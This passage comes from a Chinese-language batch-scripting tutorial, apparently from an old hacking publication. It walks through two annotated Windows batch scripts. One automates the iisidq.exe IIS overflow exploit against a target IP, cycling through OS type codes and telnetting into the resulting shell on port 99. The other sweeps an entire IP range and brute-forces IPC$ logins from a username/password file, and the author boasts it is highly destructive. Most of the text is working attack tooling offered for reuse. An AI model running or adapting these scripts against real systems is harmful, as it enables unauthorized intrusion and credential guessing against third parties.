@echo off /*同例一 if not EXIST iisidq.exe goto file /*同例一 if %1 == "" goto error /*同例一 ping %1 -n 1 | find "Received = 1" /*同例一 if errorlevel 1 goto error1 /*同例一 set b=%1 /*創建一個環境變量b,將變量%1的內容傳遞給環境變量b。變量b的內容以后將是目標ip set a=0 /*創建一個環境變量a并指定環境變量a為0。由于使用整個批處理的循環所以用a來做計數器。 :no /*no段開始 if %a%==0 set d=0 /*如果環境變量a=0則創建環境變量d設定環境變量d=0。 if %a%==1 set d=1 /*環境變量d其實是操作系統類型代碼,用計數器來控制其 if %a%==2 set d=2 /*變動。 if %a%==3 set d=3 if %a%==4 set d=4 if %a%==5 set d=5 if %a%==6 set d=6 if %a%==7 set d=7 if %a%==9 set d=9 if %a%==10 set d=13 if %a%==11 set d=14 goto 0 /*變量傳遞完成后轉到標志0處運行 :1 echo 正在執行第%d%項!與目標%b%不能連接!正在嘗試連接請等候...... :0 /*標志0開始 IISIDQ %d% %b% 80 1 99 |find "good" /*按格式發送溢出命令并在結果中發現字符串good(發送代碼成功才會有字符串good) if errorlevel 1 goto 1 /*如果沒有good字符串則沒有發送成跳 /*轉標志1處繼續嘗試發送 ping 127.0.0.1 -n 8 >nul /*ping自己8次相當于延時8秒不顯示執 /*行結果 echo 正在執行第%d%項! /*報告正在溢出的操作系統類型 telnet %b% 99 /*連接溢出端口 echo. /*顯示一個空行 if %d%==14 goto error1 /*如果操作系統類型為14則跳轉error1處(循環出口) if %d%==13 set a=11 /*開始用計數器對操作系統代碼重新附值 if %d%==9 set a=10 if %d%==7 set a=9 if %d%==6 set a=7 if %d%==5 set a=6 if %d%==4 set a=5 if %d%==3 set a=4 if %d%==2 set a=3 if %d%==1 set a=2 if %d%==0 set a=1 goto no /*附值完成跳轉no段執行 :file /*以下都是出錯后的幫助提示 echo IIsidq.exe沒有發現!將該文件和本文件放在同一目錄! goto exit :error echo 錯誤!目標ip不可識別!請使用下面的格式連接! echo idq [目標IP] goto exit :error1 echo 連接沒有成功!可能目標機器已經修補了該漏洞或者網絡故障所至! echo 請按照下面的格式手工嘗試! echo iisidq [目標類型] [目標IP] [目標端口] [連接方式] [溢出端口] echo telnet [目標ip] [溢出端口] :exit /*整個程序的出口
這個批處理采用的整體循環掌握好計數器部分就掌握了這個批處理。
例三
for /l %%a in (0,1,255) do for /l %%b in (0,1,255) do for /l %%c in (1,1,254) do for /f "tokens=1,2*" %%e in (userpass.txt) do net use //%1.%%a.%%b.%%c/ipc$ %%e /u:%%f 上面的命令為1條命令。大家可以看出該命令使用了4個FOR來套用的。用法為:C:/>TEST.BAT 218 當輸入218回車后該命令會由第1個for取初始值0為%%a然后繼續取第2個for的初始值0為%%b繼續取第3個for的初始值1為%%c最后一個for是將userpass.txt中的第一段字符作為密碼%%e第二段字符作為用戶名%%f最后執行命令 (這里我把上面的值都帶進去,設密碼為123 用戶名為 abc) net usr //218.0.0.1/ipc$ 123 /u:abc 當然上面這個例子可能有些朋友會說太簡單并且太死板不靈活。我把這個例子做了些修改(完整文件見光盤ipc.bat)由興趣的朋友可以自己看看。修改后的程序可以靈活的查找你指定開始到結束或你指定開始到最大ip的范圍。當然功能還可以在加強,至于能加強到什么地步能不能成為一個新的工具那就是你的事了。 這個的循環動作大了點主要是ip的數字替換麻煩所以沒辦法。這個批處理我就不寫注釋了,大家好好的參考上面的內容你會很快看懂這個批處理的。看懂了得不要說簡單哦!最起碼這是個沒有使用任何第三方工具就能探測并保存弱口令的批處理了??!簡單的改一改殺傷力還是很大的。以上這些批處理全部在win2000和xp下測試通過最大的優點就是只有一個批處理文件并且絕對不會誤報。缺點就是太長!